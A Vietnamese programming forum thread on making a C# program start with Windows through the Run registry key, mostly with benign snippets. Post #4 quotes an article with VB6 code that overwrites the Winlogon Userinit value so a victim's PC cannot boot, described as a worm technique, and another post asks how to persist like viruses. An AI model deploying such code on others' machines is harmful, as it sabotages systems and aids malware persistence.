Chào mừng đến với Diễn đàn lập trình - Cộng đồng lập trình.
Kết quả 1 đến 7 của 7
  1. #1
    Ngày tham gia
    Sep 2015
    Bài viết
    0

    Làm ứng dụng khởi động cùng window trong lập trình C#

    Nguyên tác ở đây:

    Mã:
    http://www.geekpedia.com/tutorial151_Run-the-application-at-Windows-startup.html
    code rất ngắn, rất hợp với tui [IMG]images/smilies/biggrin.png[/IMG]
    bên box vc++ post mấy bài mà chả có cái nào hoàn chỉnh cả , nhất là với tui, chưa dùng registry bao giờ: Tạo ứng dụng chạy cùng windows
    vốn định dùng folder cho vào startup , nhưng cái này code ngắn quá nên thích hơn

    Mã:
    using System;using System.Collections.Generic;using System.ComponentModel;using System.Data;using System.Drawing;using System.Text;using System.Windows.Forms;using Microsoft.Win32; namespace RunAtStartup{    public partial class frmStartup : Form    {        // The path to the key where Windows looks for startup applications        RegistryKey rkApp = Registry.CurrentUser.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", true);         public frmStartup()        {            InitializeComponent();            // Check to see the current state (running at startup or not)            if (rkApp.GetValue("MyApp") == null)            {                // The value doesn't exist, the application is not set to run at startup                chkRun.Checked = false;            }            else            {                // The value exists, the application is set to run at startup                chkRun.Checked = true;            }        }         private void btnOk_Click(object sender, EventArgs e)        {            if (chkRun.Checked)            {                // Add the value in the registry so that the application runs at startup                rkApp.SetValue("MyApp", Application.ExecutablePath.ToString());            }            else            {                // Remove the value from the registry so that the application doesn't start                rkApp.DeleteValue("MyApp", false);            }        }    }}
    chỉ cần nhớ mấy dòng in đậm là có thể hô phong hoán vũ được rồi

  2. #2
    Ngày tham gia
    Sep 2015
    Bài viết
    0
    nên biết rằng cho vào startup là cách cực gà đấy , nên ít nhắc đến
    mà cách trên cũng dùng reg mà . chỉ cần biết nhiều key là làm được thôi
    SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run Cái đó là key khởi động cùng win

  3. #3
    Ngày tham gia
    Sep 2015
    Bài viết
    0
    Trích dẫn Gửi bởi tienlbhoc
    vốn định dùng folder cho vào startup , nhưng cái này code ngắn quá nên thích hơn
    Đọc cho kỹ nghe , còn gà hay không không biết , nhưng tạo startup code phức tạp hơn đó nhóc , chỉ là người dùng thủ công hay dùng nên thanDN mới tự nghĩ mà mình thanh cao thôi.

  4. #4
    Ngày tham gia
    Sep 2015
    Bài viết
    0
    Nói gì nghe nhức lỗ tai quá :|((

    Lục tìm các \bài viết bất hủ của dũng còi mới thấy được vài chô , thank phát nha
    http://caulacbovb.com/forum/viewtopic.php?f=11&t=8636


    2. Kỹ thuật dựa vào khe hở hệ thống :[u]

    Ông Bill Gate (Đọc là Bíu Gết) thiệt thà lắm. Ổng viết hệ điều hành Windows dành cho người “Thật thà” như ổng sài thui hà, còn với dân “Quậy” như Dũng còi thì rõ rang ổng... quên khuyết cáo là không nên “Sài”.

    Khổ lắm, do ổng quên khuyết cáo nên Dũng còi cứ phải hy sinh lien tục bởi cái thật thà của ổng.

    Tại sao ?

    Nếu bạn chú ý sẽ có 1 File trong hệ điều hành được bào vệ (Như file Userinit.exe trong thư mục System32 đó). Vấn đề là khi ông Bíu Gết ổng chỉ lo bảo vệ “Thân chủ” thì ông ta lại quên bảo vệ “Việc làm” của thân chủ.



    Thực ra các tập tin trong các Key trong Regedit có đường dẫn ...\Software\Microsoft\Windows\CurrentVersion\Run. ... được gọi ra bởi Explorer.exe . Trớ trêu sao, thay vì Windows gọi thẳng tập tin khi khởi động thì nó lại gọi tập tin userinit.exe ra trước để “Mở đường” gọi Explorer.exe. Bíu Gết thật thà ở điểm đường dẫn tập tin userinit.exe ông ta lại không cho “Đứng yên”. Ổng lại vẽ cho nó cái Key HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit



    Hic hic, tội quá. Như vậy nếu bạn thay đổi đường dẫn chứa trong Key đó thì hệ điều hành “Khỏi chơi” luôn. Mà cho dù nó dẫn đến chương trình của bạn. Mà chương trình đó lại không “Mời” anh Explorer.exe thì hệ điều hành pó ku.



    Tận dụng sự “Thật thà” này chúng ta chỉ cần chỉnh sửa Key trong đó là xong.



    Trong quá trình viết worm vbvn . Dũng còi đã sử dụng kỹ thuật này để khởi động Worm trên PC nạn nhân.

    Bi giờ Dũng còi sẽ đưa ra các dòng lệnh trên VB 6.0 để thực hiện công việc trên :



    Option Explicit
    Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As Long

    Declare Function RegCreateKey Lib "advapi32.dll" _

    Alias "RegCreateKeyA" ( _

    ByVal hKey As Long, _

    ByVal lpSubKey As String, _

    phkResult As Long) As Long

    Declare Function RegSetValueEx Lib "advapi32.dll" _

    Alias "RegSetValueExA" ( _

    ByVal hKey As Long, _

    ByVal lpValueName As String, _

    ByVal Reserved As Long, _

    ByVal dwType As Long, _

    lpData As Any, _

    ByVal cbData As Long) As Long

    Public Const REG_SZ = 1

    Public Const REG_BINARY = 3

    Public Const HKEY_LOCAL_MACHINE = &H80000002



    Sub SaveString(hKey As Long, strPath As String, strValue As String, strData As String)

    Dim Ret

    RegCreateKey hKey, strPath, Ret

    RegSetValueEx Ret, strValue, 0, REG_SZ, ByVal strData, Len(strData)

    RegCloseKey Ret

    End Sub

    Private Sub Form_Load()

    SaveString HKEY_LOCAL_MACHINE, “SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon”, Userinit, “C:\BoNguoiTa.exe”

    End Sub



    Híc híc, dã man quá. Nạn nhân sẽ sùi bọt mép khi lần khởi động sau không thể làm việc được với cái PC. Kêu Ông thợ vô nó pó chân chấm nét (Chắc chắn kiểm tra dây cắm rùi lại quay qua mấy cái Đờ rai vơ, vẫn không được mất ổng kiểm tra xem trong thư mục Windows có thiếu tập tin nào không .... và tất yếu là là mấy ổng sẽ có kết luận “Cài lại”... híc híc )



    Còn bạn, lỡ Test rùi thì sao.

    Khi bạn chưa cúp máy (Chưa bị ngeo) thì tự sữa chữa bằng cách sửa dòng lệnh :

    SaveString HKEY_LOCAL_MACHINE, “SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon”, Userinit, “C:\WINDOWS\system32\userinit.exe”

    Rùi chạy nó.



    Còn khi đã “Lầm đường, lỡ bước thì sao ?”



    Okie, chuyện nhỏ

    Khởi động PC ở chế độ Dos thực hiên dòng lệnh

    Copy C:\WINDOWS\system32\userinit.exe C:\BoNguoiTa.exe
    Nói rõ hơn là bạn Copy file từ file userinit.exe vô tên file kia



    Chú ý : Windows là một hệ điều hành có quá trời điều thú vị. Phương pháp trên chỉ là một phương pháp điển hình mà thui (Trong lúc tìm hiểu Dũng còi đã tìm ra ít nhất 3 Key khác cũng có thể “Quậy” như Key này)





    Okie, Dũng còi sì tốp bài “Thuyết giảng” ở đây. Hẹn gặp lại quý vị các bạn vào lần sau.



    Lần sau Dũng còi sẽ hướng dẫn 1 kỹ thuật vô cùng “Man rợ”. Đó là 1 kỹ thuật cho phép chương trình của bạn khởi động ngay cả trên Safe Mode. Chính kỹ thuật này mà một chương trình “Tống tiền” của Ông Hoàng nào đó làm cho giới IT Việt vô cùng kinh sợ. Kỹ thuật chẳng có chi khó, mới có chừng đó mà đòi “Vòi” tiền thiên hạ, đúng là phường trộm cướp (Nè, đừng nghĩ xấu Dũng còi nha, Dũng còi chỉ khoái nghiên kíu chứ Dũng còi chưa bao giờ dung các kỹ thuật mình tạo để kiếm lợi cho mình nha)


    :-D bài viết sau thực ra là nói về nguyên tắc sài Key userinit để khởi động trong Safe Mode (Và kể cả chế độ thông thường )=> Cái này có trong bài viết "Các phương thức sống cùng hệ điều hành" cảu anh viết ùi

    Đọc xong mấy bài về quậy phá hệ thống của DungCòi, thấy còn thiếu vài lời hăm doạ thân chủ nữa. Trước khi chạy userinit.exe, máy tính phải thông báo:
    Caption: "Thông báo"
    Text: "Máy tính này gặp trọng bệnh, liên hệ ngay tới Dũng còi cọc ở Đaknông !!!".
    Riêng máy của mình thì khác:
    Caption: "Thông báo của Microsoft"
    Text: "Tập đoàn Microsoft vô cùng hân hạnh đuợc biết Ngài taykhongbatgiac đang khởi động bản Windows do chúng tôi kính biếu".
    (Đích thân Bill Gates sửa HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon ở 2 chỗ: LegalNoticeCaption và LegalNoticeText )
    đang viết dở đến cái chỗ dùng cho safe mode thì ông không viết nữa [IMG]images/smilies/biggrin.png[/IMG]

  5. #5
    Ngày tham gia
    Sep 2015
    Bài viết
    0
    ngày trước mình làm một chương trình khởi động cùng hệ thống mình tìm ra 2 cách:
    1. như cách bạn làm là hook vào registry
    2. bạn có thể tạo shortcut trong thư mục startup thì cũng đc.

    hai cách này vẫn có nhược điểm là người dùng vẫn có thể disable/ xóa nó đi đc.
    có ai làm cho nó chạy đc như mấy con virus khởi động cùng win ko??
    mình cũng chưa tìm đc nó hook vào dll nào nữa![IMG]images/smilies/thinking.gif[/IMG] [IMG]images/smilies/thinking.gif[/IMG]

  6. #6
    Ngày tham gia
    Sep 2015
    Bài viết
    0
    Trích dẫn Gửi bởi tienlbhoc
    Nguyên tác ở đây:

    [CODE]http://www.geekpedia.com/tutorial151_Run-the-application-at-Windows-startup.html
    sorry vì đã đào mộ [IMG]images/smilies/wink.png[/IMG])
    Cho mình hỏi là cái key SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run là mình phải theo đổi = link dẫn đến chương trình mình muốn chạy đúng k ? . Nhưng nếu người dùng cài ở ổ nào thì mình đâu thể biết :-?? .

    Và nếu có thể cho chương trình chạy Startup = cái Setup trong C# thì có thể chỉ mình với đc k [IMG]images/smilies/biggrin.png[/IMG] mình đang tìm hiểu vấn đề này .

  7. #7
    Ngày tham gia
    Sep 2015
    Bài viết
    0
    Trích dẫn Gửi bởi binhnv
    sorry vì đã đào mộ [IMG]images/smilies/wink.png[/IMG])
    Cho mình hỏi là cái key SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run là mình phải theo đổi = link dẫn đến chương trình mình muốn chạy đúng k ? . Nhưng nếu người dùng cài ở ổ nào thì mình đâu thể biết :-?? .

    Và nếu có thể cho chương trình chạy Startup = cái Setup trong C# thì có thể chỉ mình với đc k [IMG]images/smilies/biggrin.png[/IMG] mình đang tìm hiểu vấn đề này .
    ơ không phải đâu
    ý bạn sẽ mình làm như sau
    ko biết bạn có hiểu ko

    Mã:
                //tao mot subkey mang ten la manhquyen            RegistryKey regkey = Registry.CurrentUser.CreateSubKey("Software\\ManhQuyen");            //mo registry khoi dong cung win            RegistryKey regstart = Registry.CurrentUser.CreateSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run");            string keyvalue = "1";            //string subkey = "Software\\ManhQuyen";            try            {                //chen gia tri key                regkey.SetValue("Index", keyvalue);                //regstart.SetValue("taoregistrytronghethong", "E:\\Studing\\Bai Tap\\CSharp\\Channel 4\\bai temp\\tao registry trong he thong\\tao registry trong he thong\\bin\\Debug\\tao registry trong he thong.exe");                regstart.SetValue("taoregistrytronghethong", Environment.CurrentDirectory + "\\tao registry trong he thong.exe");                ////dong tien trinh ghi key                //regkey.Close();                //thong bao trang thai                Console.WriteLine("dang ky key thanh cong");            }            catch (System.Exception ex)            {                Console.WriteLine("khong the chen key");            }

 

 

Quyền viết bài

  • Bạn Không thể gửi Chủ đề mới
  • Bạn Không thể Gửi trả lời
  • Bạn Không thể Gửi file đính kèm
  • Bạn Không thể Sửa bài viết của mình
  •